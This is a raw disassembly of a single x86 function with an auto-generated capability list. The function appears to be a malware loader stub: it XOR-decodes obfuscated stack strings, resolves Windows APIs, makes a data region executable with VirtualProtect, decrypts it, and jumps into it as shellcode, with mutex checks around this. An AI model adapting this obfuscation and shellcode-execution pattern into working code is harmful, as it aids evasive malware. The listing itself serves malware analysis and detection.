Function at 0x4045c6
Capabilities:
Allocate or change rwx memory
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Encode data using xor
Execute shellcode via indirect call
Terminate process

Disassembly:
push 0x154
mov eax, 0x6ab0e5
call fcn.006aa248
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x140], ecx
mov eax, dword [ebp + 8]
push 0x62
mov dword [ebp - 0x160], eax
pop eax
push 7
mov word [ebp - 0x68], ax
pop eax
push 0x75
mov word [ebp - 0x66], ax
pop eax
push 0x1b
mov word [ebp - 0x64], ax
pop eax
push 0x7e
mov word [ebp - 0x62], ax
pop eax
push 0x12
mov word [ebp - 0x60], ax
pop eax
push 0x21
mov word [ebp - 0x5e], ax
pop eax
push 0x13
mov word [ebp - 0x5c], ax
pop eax
push 0x3d
mov word [ebp - 0x5a], ax
pop eax
push 0x59
pop ecx
push 0x35
mov word [ebp - 0x58], ax
pop eax
push 0xc
pop edi
mov word [ebp - 0x56], cx
mov word [ebp - 0x52], cx
mov word [ebp - 0x50], cx
mov ecx, edi
mov word [ebp - 0x54], ax
mov ax, word [ebp + ecx*2 - 0x6a]
xor word [ebp + ecx*2 - 0x68], ax
dec ecx
test ecx, ecx
jg 0x404644
push 0x29
pop edx
push 0x50
pop eax
push 5
mov word [ebp - 0x10c], ax
mov ecx, edi
pop eax
push 0x6b
mov word [ebp - 0x10a], ax
pop eax
push 2
mov word [ebp - 0x108], ax
pop eax
push 0x73
mov word [ebp - 0x106], ax
pop eax
push 6
mov word [ebp - 0x104], ax
pop eax
push 0x63
xor word [ebp - 0x68], dx
mov word [ebp - 0x102], ax
pop eax
push 0x2e
mov word [ebp - 0x100], ax
pop eax
push 0x5b
mov word [ebp - 0xfe], ax
pop eax
push 0x2f
mov word [ebp - 0xfc], ax
pop eax
push 0x4a
mov word [ebp - 0xfa], ax
pop eax
push 0x32
mov word [ebp - 0xf8], ax
pop eax
mov word [ebp - 0xf6], ax
mov word [ebp - 0xf4], ax
mov ax, word [ebp + ecx*2 - 0x10e]
xor word [ebp + ecx*2 - 0x10c], ax
dec ecx
test ecx, ecx
jg 0x4046db
xor word [ebp - 0x10c], dx
mov ecx, edi
mov dword [ebp - 0x2c], 0x8bea8ffd
mov dword [ebp - 0x28], 0xa2d79aff
mov dword [ebp - 0x24], 0x9ccbb3d6
mov byte [ebp - 0x20], 0x9c
mov al, byte [ebp + ecx - 0x2d]
xor byte [ebp + ecx - 0x2c], al
dec ecx
test ecx, ecx
jg 0x404712
xor byte [ebp - 0x2c], 0xbe
mov ecx, edi
mov dword [ebp - 0x3c], 0x9ed2a6c3
mov dword [ebp - 0x38], 0xbdf88cff
mov dword [ebp - 0x34], 0xa0d2bdcf
mov byte [ebp - 0x30], 0xa0
mov al, byte [ebp + ecx - 0x3d]
xor byte [ebp + ecx - 0x3c], al
dec ecx
test ecx, ecx
jg 0x40473e
xor byte [ebp - 0x3c], 0x84
push 0xb
pop esi
mov dword [ebp - 0x1c], 0xd2a1cea2
mov ecx, esi
mov dword [ebp - 0x18], 0xf09effb7
mov dword [ebp - 0x14], 0x9d9df894
mov al, byte [ebp + ecx - 0x1d]
xor byte [ebp + ecx - 0x1c], al
dec ecx
test ecx, ecx
jg 0x404769
xor byte [ebp - 0x1c], 0xe1
lea eax, [ebp - 0x2c]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
lea eax, [ebp - 0x68]
push eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x154], eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x68]
push eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x144], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x68]
push eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.CalcHash_Singun_201211101447
push 0
push 0
mov ebx, eax
call dword [ebp - 0x154]
mov ecx, dword [ebp - 0x140]
mov dword [ecx], eax
call dword [ebp - 0x144]
cmp eax, 0xb7
jne 0x40480f
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
call dword [ebp - 0x154]
mov ecx, dword [ebp - 0x140]
mov dword [ecx], eax
call dword [ebp - 0x144]
cmp eax, 0xb7
je 0x404e52
push 0x7a
pop eax
push 0x12
pop ebx
push 0x77
mov word [ebp - 0xc0], ax
pop eax
push 0x1b
pop ecx
push 0x44
mov word [ebp - 0xbc], ax
mov word [ebp - 0xb8], ax
pop eax
push 0x76
mov word [ebp - 0xb6], ax
pop eax
push 0x58
mov word [ebp - 0xb4], ax
pop eax
push 0x3c
mov word [ebp - 0xb2], ax
pop eax
mov word [ebp - 0xba], cx
push 0x50
pop ecx
mov word [ebp - 0xae], cx
mov ecx, esi
mov word [ebp - 0xbe], bx
mov word [ebp - 0xb0], ax
mov word [ebp - 0xac], ax
mov word [ebp - 0xaa], ax
mov ax, word [ebp + ecx*2 - 0xc2]
xor word [ebp + ecx*2 - 0xc0], ax
dec ecx
test ecx, ecx
jg 0x404880
push 0x29
pop eax
xor word [ebp - 0xc0], ax
push 0x6a
pop eax
push 0x18
pop edx
push 0x61
mov word [ebp - 0xd8], ax
pop eax
push 0x11
mov word [ebp - 0xd4], ax
pop eax
push 0x65
mov word [ebp - 0xd2], ax
pop eax
push 0x56
mov word [ebp - 0xd0], ax
pop eax
push 0x64
mov word [ebp - 0xce], ax
pop eax
push 0x4a
mov word [ebp - 0xcc], ax
pop eax
push 0x2e
pop ecx
push 0x42
mov word [ebp - 0xca], ax
pop eax
mov word [ebp - 0xc8], cx
mov word [ebp - 0xc4], cx
mov word [ebp - 0xc2], cx
mov ecx, esi
mov word [ebp - 0xd6], dx
mov word [ebp - 0xc6], ax
mov ax, word [ebp + ecx*2 - 0xda]
xor word [ebp + ecx*2 - 0xd8], ax
dec ecx
test ecx, ecx
jg 0x404913
push 0x29
pop eax
xor word [ebp - 0xd8], ax
push 0x7a
pop eax
push 0x7e
mov word [ebp - 0xf0], ax
pop eax
push 9
mov word [ebp - 0xee], bx
pop ebx
push 0x68
mov word [ebp - 0xec], ax
pop eax
push 0x71
mov word [ebp - 0xe8], ax
pop eax
push 0x5f
mov word [ebp - 0xe4], ax
pop eax
push 0x3b
pop ecx
push 0x57
mov word [ebp - 0xe2], ax
pop eax
mov word [ebp - 0xea], bx
mov word [ebp - 0xe6], dx
mov word [ebp - 0xe0], cx
mov word [ebp - 0xde], ax
mov word [ebp - 0xdc], cx
mov word [ebp - 0xda], cx
mov ax, word [ebp + esi*2 - 0xf2]
xor word [ebp + esi*2 - 0xf0], ax
dec esi
test esi, esi
jg 0x40499e
push 0x29
pop edx
xor word [ebp - 0xf0], dx
mov ecx, 0x486d
push 0xa
mov word [ebp - 0x94], cx
mov dword [ebp - 0xa8], 0x483d4854
mov dword [ebp - 0xa4], 0x48604853
mov dword [ebp - 0xa0], 0x48274852
mov dword [ebp - 0x9c], 0x486d4809
mov dword [ebp - 0x98], 0x486d4801
pop ecx
mov ax, word [ebp + ecx*2 - 0xaa]
xor word [ebp + ecx*2 - 0xa8], ax
dec ecx
test ecx, ecx
jg 0x4049fe
mov eax, 0x4823
mov dword [ebp - 0x7c], 0x18a418d0
xor word [ebp - 0xa8], ax
mov ecx, ebx
mov dword [ebp - 0x78], 0x18ac18c0
mov dword [ebp - 0x74], 0x18ee18c0
mov dword [ebp - 0x70], 0x18e6188a
mov dword [ebp - 0x6c], 0x188a188a
mov ax, word [ebp + ecx*2 - 0x7e]
xor word [ebp + ecx*2 - 0x7c], ax
dec ecx
test ecx, ecx
jg 0x404a44
push 0x68
mov eax, 0x18be
mov word [ebp - 0x126], di
xor word [ebp - 0x7c], ax
pop eax
push 0x7a
mov word [ebp - 0x128], ax
pop eax
push 0x1b
mov word [ebp - 0x124], ax
pop eax
push 0x6b
mov word [ebp - 0x122], ax
pop eax
push 2
mov word [ebp - 0x120], ax
pop eax
push 0x31
mov word [ebp - 0x11e], ax
pop eax
push 3
mov word [ebp - 0x11c], ax
pop eax
push 0x2d
mov word [ebp - 0x11a], ax
pop eax
push 0x49
pop ecx
push 0x25
mov word [ebp - 0x118], ax
pop eax
mov word [ebp - 0x116], cx
mov word [ebp - 0x114], ax
mov word [ebp - 0x112], cx
mov word [ebp - 0x110], cx
mov ax, word [ebp + edi*2 - 0x12a]
xor word [ebp + edi*2 - 0x128], ax
dec edi
test edi, edi
jg 0x404ad5
xor word [ebp - 0x128], dx
lea eax, [ebp - 0xc0]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call esi
lea eax, [ebp - 0xd8]
push eax
call esi
lea eax, [ebp - 0xf0]
push eax
call esi
lea eax, [ebp - 0xa8]
push eax
call esi
lea eax, [ebp - 0x7c]
push eax
call esi
lea eax, [ebp - 0x128]
push eax
call esi
mov eax, dword [ebp - 0x158]
xor edi, edi
and dword [ebp - 0x15c], 0
inc edi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1388
mov dword [eax], edi
call esi
lea eax, [ebp - 0x15c]
push eax
push 0x40
push 0x9c40
push 0x6c41c0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x3e8
call esi
push 4
pop ecx
mov eax, ecx
and eax, 3
mov al, byte [eax + 0x6c41c0]
xor byte [ecx + 0x6c41c0], al
inc ecx
cmp ecx, 0x9c40
jb 0x404b6c
push 0x785c8
call fcn.00670053
mov esi, eax
mov dword [esp], 0x1e8480
call fcn.00670053
movaps xmm0, xmmword [0x6bc570]
pop ecx
push 0x10
mov dword [ebp - 0x144], eax
movups xmmword [ebp - 0x13c], xmm0
mov byte [ebp - 0x12c], 0x1e
pop ecx
mov al, byte [ebp + ecx - 0x13d]
xor byte [ebp + ecx - 0x13c], al
dec ecx
test ecx, ecx
jg 0x404bbd
push 4
pop ecx
mov eax, ecx
and eax, 3
mov al, byte [eax + 0x6c39c0]
xor byte [ecx + 0x6c39c0], al
inc ecx
cmp ecx, 0x800
jb 0x404bd3
push 0x67
pop eax
push 0x13
mov word [ebp - 0x90], ax
pop eax
push 0x77
mov word [ebp - 0x8e], ax
pop eax
push 0x1b
pop ecx
push 0x59
mov word [ebp - 0x8c], ax
mov word [ebp - 0x88], ax
pop eax
push 0x3d
mov word [ebp - 0x8a], cx
pop ecx
push 0x51
mov word [ebp - 0x86], ax
pop eax
mov dword [ebp - 0x150], 0x6c39c4
mov dword [ebp - 0x14c], esi
mov word [ebp - 0x84], cx
mov word [ebp - 0x82], ax
mov word [ebp - 0x80], cx
mov word [ebp - 0x7e], cx
mov ax, word [ebp + ebx*2 - 0x92]
xor word [ebp + ebx*2 - 0x90], ax
dec ebx
test ebx, ebx
jg 0x404c52
push 0x29
pop eax
xor word [ebp - 0x90], ax
push 0xd
mov byte [ebp - 0x47], cl
mov dword [ebp - 0x4c], 0x24690571
mov byte [ebp - 0x48], 0x4b
mov dword [ebp - 0x46], 0x1d701558
mov dword [ebp - 0x42], 0x79790072
pop ecx
mov al, byte [ebp + ecx - 0x4d]
xor byte [ebp + ecx - 0x4c], al
dec ecx
test ecx, ecx
jg 0x404c90
xor byte [ebp - 0x4c], 0x23
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x90]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x785c8
push 0x40837e
push dword [ebp - 0x14c]
mov esi, eax
call esi
push 4
pop ebx
mov edx, ebx
mov ecx, dword [ebp - 0x14c]
mov eax, edx
and eax, 3
mov al, byte [eax + ecx]
xor byte [edx + ecx], al
inc edx
cmp edx, 0x785c8
jl 0x404cd2
mov eax, dword [ebp - 0x144]
add dword [ebp - 0x14c], ebx
push 0x1e8480
push 0x48094d
push eax
mov dword [ebp - 0x148], eax
call esi
mov edx, ebx
mov ecx, dword [ebp - 0x148]
mov eax, edx
and eax, 3
mov al, byte [eax + ecx]
xor byte [edx + ecx], al
inc edx
cmp edx, 0x1e8480
jl 0x404d0d
add dword [ebp - 0x148], ebx
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1388
call esi
lea eax, [ebp - 0x150]
mov ebx, 0x6c41c4
push eax
call ebx
push 0x186a0
call esi
lea eax, [ebp - 0x150]
push eax
call ebx
test eax, eax
jne 0x404d62
push edi
jmp 0x404e5e
push str.CalcHash_Singun_201211101447
push edi
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov ecx, dword [ebp - 0x140]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x404e4a
mov eax, dword [ebp - 0x158]
mov ebx, dword [ebp - 0x160]
and dword [eax], 0
test ebx, ebx
je 0x404e4a
push str._switch
push ebx
call fcn.0068b84f
pop ecx
pop ecx
test eax, eax
jne 0x404e4a
call fcn.004040b1
push eax
lea ecx, [ebp - 0x140]
call fcn.00405252
and dword [ebp - 4], 0
lea ecx, [ebp - 0x140]
push 0xc9
call fcn.00404ee5
push dword [ebp - 0x140]
push 0
call dword [sym.imp.USER32.dll_FindWindowW]
mov esi, eax
test esi, esi
je 0x404dff
push esi
call dword [sym.imp.USER32.dll_GetLastActivePopup]
mov esi, eax
push edi
push esi
call dword [sym.imp.USER32.dll_SwitchToThisWindow]
and dword [ebp - 0x134], 0
push ebx
mov dword [ebp - 0x138], edi
mov dword [ebp - 0x130], ebx
call fcn.0068be26
pop ecx
lea eax, [eax*2 + 2]
mov dword [ebp - 0x134], eax
lea eax, [ebp - 0x138]
push eax
push 0x100
push 0x4a
pop eax
push eax
push esi
call dword [sym.imp.USER32.dll_SendMessageW]
lea ecx, [ebp - 0x140]
xor edi, edi
call fcn.00405237
mov eax, edi
call fcn.006aa1f2
ret
mov eax, dword [ebp - 0x140]
push dword [eax]
call ebx
push 1
call fcn.0068b6aa
int3